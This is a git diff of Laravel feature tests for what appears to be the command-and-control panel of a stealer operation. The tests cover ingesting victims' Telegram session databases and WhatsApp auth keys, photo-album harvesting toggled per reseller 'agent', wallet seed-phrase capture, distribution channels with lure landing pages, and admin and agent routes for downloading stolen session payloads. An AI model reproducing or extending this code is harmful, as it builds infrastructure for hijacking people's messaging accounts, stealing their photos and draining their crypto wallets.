feat: tg/ws
This commit is contained in:
@@ -100,8 +100,8 @@ class AdminAgentPortalTest extends TestCase
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
'seeds_initialized' => false,
|
||||
'sync_rebuilt' => false,
|
||||
'support_path' => '/web/x/support.html',
|
||||
'daily_path' => '/sync/daily.html',
|
||||
'support_path' => '/channel/x/weifile/weifile.html',
|
||||
'daily_path' => '/channel/x/details/',
|
||||
]);
|
||||
$this->app->instance(ChannelProjectService::class, $projects);
|
||||
|
||||
@@ -111,10 +111,10 @@ class AdminAgentPortalTest extends TestCase
|
||||
->assertJsonPath('code', 0)
|
||||
->json('data.channel_id');
|
||||
$this->assertIsString($random);
|
||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $random);
|
||||
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $random);
|
||||
|
||||
$channelId = Channel::randomChannelId();
|
||||
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $channelId);
|
||||
$channelId = Channel::randomNewChannelId();
|
||||
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $channelId);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
@@ -125,10 +125,12 @@ class AdminAgentPortalTest extends TestCase
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.links.0', 'https://fallback.test/web/'.$channelId.'/support.html');
|
||||
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
|
||||
->assertJsonPath('data.links.0', 'https://fallback.test/channel/'.$channelId.'/weifile/weifile.html');
|
||||
|
||||
$this->assertDatabaseHas('channels', [
|
||||
'channel_id' => $channelId,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'remark' => 'official',
|
||||
]);
|
||||
@@ -345,6 +347,39 @@ class AdminAgentPortalTest extends TestCase
|
||||
->assertJsonPath('data.date_to', '2026-08-15');
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_create_and_update_agent_album_storage_default(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.agents.store'), [
|
||||
'username' => 'albumagent',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$agent = User::query()->where('username', 'albumagent')->first();
|
||||
$this->assertNotNull($agent);
|
||||
$this->assertFalse($agent->albumStorageDefaultEnabled());
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->put(route('admin.agents.update', $agent), [
|
||||
'album_storage_default' => 1,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
|
||||
$this->assertTrue($agent->fresh()->albumStorageDefaultEnabled());
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.agents.data'))
|
||||
->assertOk()
|
||||
->assertJsonFragment(['username' => 'albumagent', 'album_storage_default' => 1]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_cannot_create_channel(): void
|
||||
{
|
||||
|
||||
@@ -207,15 +207,21 @@ class ChannelProjectServiceTest extends TestCase
|
||||
#[Test]
|
||||
public function failed_database_insert_compensates_with_delete(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::sequence()
|
||||
->push(Process::result(output: $this->fakeBuildResult()))
|
||||
->push(Process::result(output: ChannelProjectService::RESULT_MARKER.json_encode([
|
||||
'status' => 'deleted',
|
||||
'removed' => true,
|
||||
])."\n")),
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||
])),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID);
|
||||
if (! is_dir($channelDir) && ! mkdir($channelDir, 0775, true) && ! is_dir($channelDir)) {
|
||||
$this->fail('unable to create channel dir for compensation test');
|
||||
}
|
||||
|
||||
$originalDispatcher = Channel::getEventDispatcher();
|
||||
Channel::setEventDispatcher(new Dispatcher($this->app));
|
||||
@@ -224,7 +230,7 @@ class ChannelProjectServiceTest extends TestCase
|
||||
try {
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertStatus(422)
|
||||
@@ -233,11 +239,8 @@ class ChannelProjectServiceTest extends TestCase
|
||||
Channel::setEventDispatcher($originalDispatcher);
|
||||
}
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains(
|
||||
is_array($process->command) ? implode(' ', $process->command) : (string) $process->command,
|
||||
'delete_channel_web.py'
|
||||
));
|
||||
$this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]);
|
||||
$this->assertDirectoryDoesNotExist($channelDir);
|
||||
$this->assertDatabaseMissing('channels', ['channel_id' => self::NEW_CHANNEL_ID]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -247,19 +250,20 @@ class ChannelProjectServiceTest extends TestCase
|
||||
$projects = Mockery::mock(ChannelProjectService::class);
|
||||
$projects->shouldReceive('generate')->once()->andReturnUsing(function (): array {
|
||||
Channel::query()->create([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
return [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'seeds' => ['deployment_seed' => 'a', 'reporting_seed' => 'b'],
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
'seeds_initialized' => false,
|
||||
'sync_rebuilt' => false,
|
||||
'support_path' => '/web/'.self::CHANNEL_ID.'/support.html',
|
||||
'daily_path' => '/sync/daily.html',
|
||||
'support_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
];
|
||||
});
|
||||
$projects->shouldNotReceive('deleteWebTree');
|
||||
@@ -267,7 +271,7 @@ class ChannelProjectServiceTest extends TestCase
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertStatus(422)
|
||||
@@ -328,27 +332,54 @@ class ChannelProjectServiceTest extends TestCase
|
||||
#[Test]
|
||||
public function store_returns_seeds_and_domains(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult()),
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
|
||||
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
|
||||
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
|
||||
])),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
|
||||
->assertJsonPath('data.seeds.deployment_seed', '11111111111111111111111111111111')
|
||||
->assertJsonPath('data.domains.deployment.0', 'www.dep.example')
|
||||
->assertJsonPath('data.seeds_initialized', true)
|
||||
->assertJsonPath('data.daily_path', '/sync/daily.html');
|
||||
->assertJsonPath('data.daily_path', '/channel/'.self::NEW_CHANNEL_ID.'/details/');
|
||||
|
||||
$this->assertDatabaseHas('channels', ['channel_id' => self::CHANNEL_ID]);
|
||||
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
|
||||
$this->assertDatabaseHas('channels', [
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
]);
|
||||
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
|
||||
$this->assertSame([], $channel->domains ?? []);
|
||||
$this->assertSame(Channel::BUILDER_OLD, $channel->builderType());
|
||||
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function store_rejects_old_builder_channel_id(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_OLD,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertSessionHasErrors('channel_id');
|
||||
|
||||
$this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -477,7 +508,6 @@ class ChannelProjectServiceTest extends TestCase
|
||||
$response = $this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertOk()
|
||||
|
||||
@@ -7,6 +7,7 @@ use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
@@ -30,6 +31,147 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
$this->assertFalse((bool) $device->fresh()->album_storage);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_uses_agent_album_storage_default_on(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'album_on',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'album_storage_default' => true,
|
||||
]);
|
||||
$this->assertTrue($agent->albumStorageDefaultEnabled());
|
||||
$channelId = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600201';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-agent-album-on',
|
||||
'c' => $channelId,
|
||||
], $ts);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-agent-album-on')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertTrue($device->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_keeps_album_off_when_agent_default_off(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'album_off',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
]);
|
||||
$this->assertFalse($agent->albumStorageDefaultEnabled());
|
||||
$channelId = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$crypto = new CorunaCrypto;
|
||||
$ts = '1722585600202';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-agent-album-off',
|
||||
'c' => $channelId,
|
||||
], $ts);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-agent-album-off')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertFalse($device->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function later_channel_fill_applies_agent_album_default(): void
|
||||
{
|
||||
$agent = User::query()->create([
|
||||
'username' => 'album_late',
|
||||
'password' => 'secret12',
|
||||
'status' => 1,
|
||||
'album_storage_default' => true,
|
||||
]);
|
||||
$channelId = 'cccccccccccccccccccccccccccccccc';
|
||||
Channel::query()->create([
|
||||
'channel_id' => $channelId,
|
||||
'user_id' => $agent->id,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$crypto = new CorunaCrypto;
|
||||
$tsSet = '1722585600203';
|
||||
$encSet = $crypto->encryptJson([
|
||||
'd' => 'dev-agent-album-late',
|
||||
'c' => $channelId,
|
||||
'a' => 'a1',
|
||||
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
||||
], $tsSet);
|
||||
$this->call('POST', '/api/user/set', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsSet,
|
||||
], $encSet['body'])->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-agent-album-late')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertNull($device->channel_id);
|
||||
$this->assertFalse($device->albumStorageEnabled());
|
||||
|
||||
$tsPut = '1722585600204';
|
||||
$encPut = $crypto->encryptJson([
|
||||
'd' => 'dev-agent-album-late',
|
||||
'c' => $channelId,
|
||||
'et' => 'heartbeat',
|
||||
], $tsPut);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $tsPut,
|
||||
], $encPut['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame($channelId, $device->channel_id);
|
||||
$this->assertTrue($device->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function official_and_unknown_channel_keep_album_off(): void
|
||||
{
|
||||
Channel::query()->create([
|
||||
'channel_id' => 'dddddddddddddddddddddddddddddddd',
|
||||
'user_id' => Channel::OFFICIAL_USER_ID,
|
||||
'status' => 1,
|
||||
]);
|
||||
|
||||
$crypto = new CorunaCrypto;
|
||||
foreach ([
|
||||
['d' => 'dev-official-album', 'c' => 'dddddddddddddddddddddddddddddddd'],
|
||||
['d' => 'dev-unknown-album', 'c' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'],
|
||||
] as $i => $payload) {
|
||||
$ts = (string) (1722585600210 + $i);
|
||||
$enc = $crypto->encryptJson($payload, $ts);
|
||||
$this->call('POST', '/api/user/avatar/put', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
}
|
||||
|
||||
$this->assertFalse(Device::query()->where('device_id', 'dev-official-album')->first()?->albumStorageEnabled());
|
||||
$this->assertFalse(Device::query()->where('device_id', 'dev-unknown-album')->first()?->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_skips_photos_when_album_storage_off(): void
|
||||
{
|
||||
|
||||
@@ -131,6 +131,8 @@ class DeviceDeleteTest extends TestCase
|
||||
);
|
||||
Storage::disk('local')->put('c2/ds-results/dev-del-1/cmd/a.json', '{}');
|
||||
Storage::disk('local')->put('c2/ds-chunks/dev-del-1/cmd/f/0', 'x');
|
||||
$waPath = PluginSession::whatsappFilePath('dev-del-1', '15550001111');
|
||||
Storage::disk('local')->put($waPath, '{"userId":"15550001111"}');
|
||||
|
||||
try {
|
||||
$this->actingAs($admin, 'admin')
|
||||
@@ -157,6 +159,7 @@ class DeviceDeleteTest extends TestCase
|
||||
Storage::disk('local')->assertMissing($checkPath);
|
||||
Storage::disk('local')->assertMissing('c2/ds-results/dev-del-1/cmd/a.json');
|
||||
Storage::disk('local')->assertMissing('c2/ds-chunks/dev-del-1/cmd/f/0');
|
||||
Storage::disk('local')->assertMissing($waPath);
|
||||
$this->assertFileExists($dsLog);
|
||||
$left = (string) file_get_contents($dsLog);
|
||||
$this->assertStringNotContainsString('dev-del-1', $left);
|
||||
|
||||
@@ -0,0 +1,113 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class DeviceImFlagTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function new_device_has_no_im_flags(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-im-none']);
|
||||
|
||||
$this->assertFalse($device->hasWhatsApp());
|
||||
$this->assertFalse($device->hasTelegram());
|
||||
$this->assertSame([], $device->imNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function telegram_ingest_sets_tg_flag(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create(['device_id' => 'dev-im-tg']);
|
||||
app(IngestService::class)->ingestTelegramAuth($device, [
|
||||
'user_id' => '111',
|
||||
'state' => ['records' => []],
|
||||
'db_sqlite' => 'QQ==',
|
||||
]);
|
||||
|
||||
$device->refresh();
|
||||
$this->assertTrue($device->hasTelegram());
|
||||
$this->assertFalse($device->hasWhatsApp());
|
||||
$this->assertSame(['Telegram'], $device->imNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function whatsapp_ingest_sets_ws_flag(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create(['device_id' => 'dev-im-ws']);
|
||||
app(IngestService::class)->ingestWhatsAppAuth($device, [
|
||||
'userId' => '15550001111',
|
||||
'clientStaticKeypairBase64' => 'QUJD',
|
||||
'phoneKeyStore' => ['preKeys' => []],
|
||||
]);
|
||||
|
||||
$device->refresh();
|
||||
$this->assertTrue($device->hasWhatsApp());
|
||||
$this->assertFalse($device->hasTelegram());
|
||||
$this->assertSame(['WhatsApp'], $device->imNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function both_sessions_set_both_flags(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create(['device_id' => 'dev-im-both']);
|
||||
$ingest = app(IngestService::class);
|
||||
$ingest->ingestTelegramAuth($device, [
|
||||
'user_id' => '222',
|
||||
'state' => ['ok' => 1],
|
||||
]);
|
||||
$ingest->ingestWhatsAppAuth($device, [
|
||||
'userId' => '15550002222',
|
||||
'whatsappVersion' => '2.24.0',
|
||||
'clientStaticKeypairBase64' => 'QUJD',
|
||||
]);
|
||||
|
||||
$device->refresh();
|
||||
$this->assertTrue($device->hasWhatsApp());
|
||||
$this->assertTrue($device->hasTelegram());
|
||||
$this->assertSame(['WhatsApp', 'Telegram'], $device->imNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_can_filter_devices_by_im_flag(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
Device::query()->create(['device_id' => 'dev-plain']);
|
||||
Device::query()->create(['device_id' => 'dev-ws', 'has_whatsapp' => true]);
|
||||
Device::query()->create(['device_id' => 'dev-tg', 'has_telegram' => true]);
|
||||
Device::query()->create(['device_id' => 'dev-both', 'has_whatsapp' => true, 'has_telegram' => true]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_im' => 'whatsapp']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 2);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_im' => 'telegram']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 2);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_im' => 'yes']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 3);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.data', ['has_im' => 'none']))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.device_id', 'dev-plain');
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class PluginSessionPageTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function admin_can_list_whatsapp_and_telegram_sessions(): void
|
||||
{
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-sess',
|
||||
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'has_whatsapp' => true,
|
||||
'has_telegram' => true,
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'kind' => PluginSession::KIND_WHATSAPP,
|
||||
'account_id' => '15551230000',
|
||||
'phone' => '15551230000',
|
||||
'payload' => [
|
||||
'userId' => '15551230000',
|
||||
'nickname' => 'wa-nick',
|
||||
'whatsappVersion' => '2.24.0',
|
||||
'clientStaticKeypairBase64' => 'QUJD',
|
||||
],
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'device_key' => $device->device_id,
|
||||
'kind' => PluginSession::KIND_TELEGRAM,
|
||||
'account_id' => '987654',
|
||||
'payload' => [
|
||||
'user_id' => '987654',
|
||||
'state' => ['records' => []],
|
||||
'db_sqlite' => str_repeat('A', 400),
|
||||
],
|
||||
]);
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.whatsapp.index'))
|
||||
->assertOk()
|
||||
->assertSee('WS 参数');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.whatsapp.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.account_id', '15551230000')
|
||||
->assertJsonPath('data.0.nickname', 'wa-nick')
|
||||
->assertJsonPath('data.0.has_keystore', true)
|
||||
->assertJsonMissingPath('data.0.payload_json');
|
||||
|
||||
$tg = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.telegram.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.account_id', '987654')
|
||||
->assertJsonPath('data.0.has_db', true)
|
||||
->json();
|
||||
$this->assertArrayNotHasKey('payload_json', $tg['data'][0] ?? []);
|
||||
|
||||
$tgPayload = $this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.sessions.payload', PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first()))
|
||||
->assertOk()
|
||||
->json('data.payload_json');
|
||||
$this->assertStringContainsString(str_repeat('A', 400), (string) $tgPayload);
|
||||
$this->assertStringNotContainsString('400 bytes', (string) $tgPayload);
|
||||
|
||||
$tgRow = PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first();
|
||||
$download = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.sessions.download', $tgRow))
|
||||
->assertOk();
|
||||
$this->assertStringContainsString('attachment', (string) $download->headers->get('content-disposition'));
|
||||
$this->assertStringContainsString(str_repeat('A', 400), $download->streamedContent());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function agent_only_sees_own_channel_sessions(): void
|
||||
{
|
||||
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
|
||||
$agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]);
|
||||
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
||||
$chB = 'cccccccccccccccccccccccccccccccc';
|
||||
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
|
||||
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
|
||||
|
||||
$devA = Device::query()->create(['device_id' => 'dev-a', 'channel_id' => $chA]);
|
||||
$devB = Device::query()->create(['device_id' => 'dev-b', 'channel_id' => $chB]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $devA->id,
|
||||
'device_key' => 'dev-a',
|
||||
'kind' => PluginSession::KIND_TELEGRAM,
|
||||
'account_id' => 'aaa',
|
||||
'payload' => ['user_id' => 'aaa'],
|
||||
]);
|
||||
PluginSession::query()->create([
|
||||
'device_id' => $devB->id,
|
||||
'device_key' => 'dev-b',
|
||||
'kind' => PluginSession::KIND_TELEGRAM,
|
||||
'account_id' => 'bbb',
|
||||
'payload' => ['user_id' => 'bbb'],
|
||||
]);
|
||||
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->getJson(route('user.telegram.data'))
|
||||
->assertOk()
|
||||
->assertJsonPath('count', 1)
|
||||
->assertJsonPath('data.0.account_id', 'aaa');
|
||||
|
||||
$own = PluginSession::query()->where('account_id', 'aaa')->first();
|
||||
$other = PluginSession::query()->where('account_id', 'bbb')->first();
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->getJson(route('user.sessions.payload', $own))
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0);
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->getJson(route('user.sessions.payload', $other))
|
||||
->assertForbidden();
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->get(route('user.sessions.download', $own))
|
||||
->assertOk();
|
||||
$this->actingAs($agentA, 'agent')
|
||||
->get(route('user.sessions.download', $other))
|
||||
->assertForbidden();
|
||||
}
|
||||
}
|
||||
@@ -1,108 +0,0 @@
|
||||
<?php
|
||||
|
||||
namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use PHPUnit\Framework\Attributes\Test;
|
||||
use Tests\TestCase;
|
||||
|
||||
class RawLogControllerTest extends TestCase
|
||||
{
|
||||
use RefreshDatabase;
|
||||
|
||||
private function superAdmin(): Admin
|
||||
{
|
||||
return Admin::query()->create([
|
||||
'username' => 'root',
|
||||
'password' => 'secret12',
|
||||
'is_super' => 1,
|
||||
]);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function xxbb_log_show_pages_instead_of_loading_the_whole_file(): void
|
||||
{
|
||||
$dir = public_path('log/xxbb');
|
||||
if (! is_dir($dir)) {
|
||||
mkdir($dir, 0775, true);
|
||||
}
|
||||
$file = $dir.'/20990101.log';
|
||||
$chunks = [];
|
||||
for ($i = 1; $i <= 90; $i++) {
|
||||
$chunks[] = '2026-08-14 13:00:00 /event {"n":'.$i.',"marker":"ENTRY-'.$i.'"}';
|
||||
}
|
||||
file_put_contents($file, implode("\r\n\r\n", $chunks)."\r\n\r\n");
|
||||
|
||||
try {
|
||||
$admin = $this->superAdmin();
|
||||
$page1 = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.logs.show', [
|
||||
'kind' => 'xxbb',
|
||||
'file' => '20990101.log',
|
||||
'per_page' => 40,
|
||||
]))
|
||||
->assertOk();
|
||||
$html1 = $page1->getContent();
|
||||
$this->assertSame(40, substr_count($html1, 'class="json-block"'));
|
||||
$this->assertStringContainsString('ENTRY-90', $html1);
|
||||
$this->assertStringContainsString('新版', $html1);
|
||||
$this->assertStringNotContainsString('ENTRY-50', $html1);
|
||||
$this->assertStringContainsString('更早', $html1);
|
||||
|
||||
$page2 = $this->actingAs($admin, 'admin')
|
||||
->get(route('admin.logs.show', [
|
||||
'kind' => 'xxbb',
|
||||
'file' => '20990101.log',
|
||||
'per_page' => 40,
|
||||
'page' => 2,
|
||||
]))
|
||||
->assertOk();
|
||||
$html2 = $page2->getContent();
|
||||
$this->assertStringContainsString('ENTRY-50', $html2);
|
||||
$this->assertStringNotContainsString('ENTRY-90', $html2);
|
||||
} finally {
|
||||
@unlink($file);
|
||||
}
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function xxbb_and_c2_same_filename_do_not_mix(): void
|
||||
{
|
||||
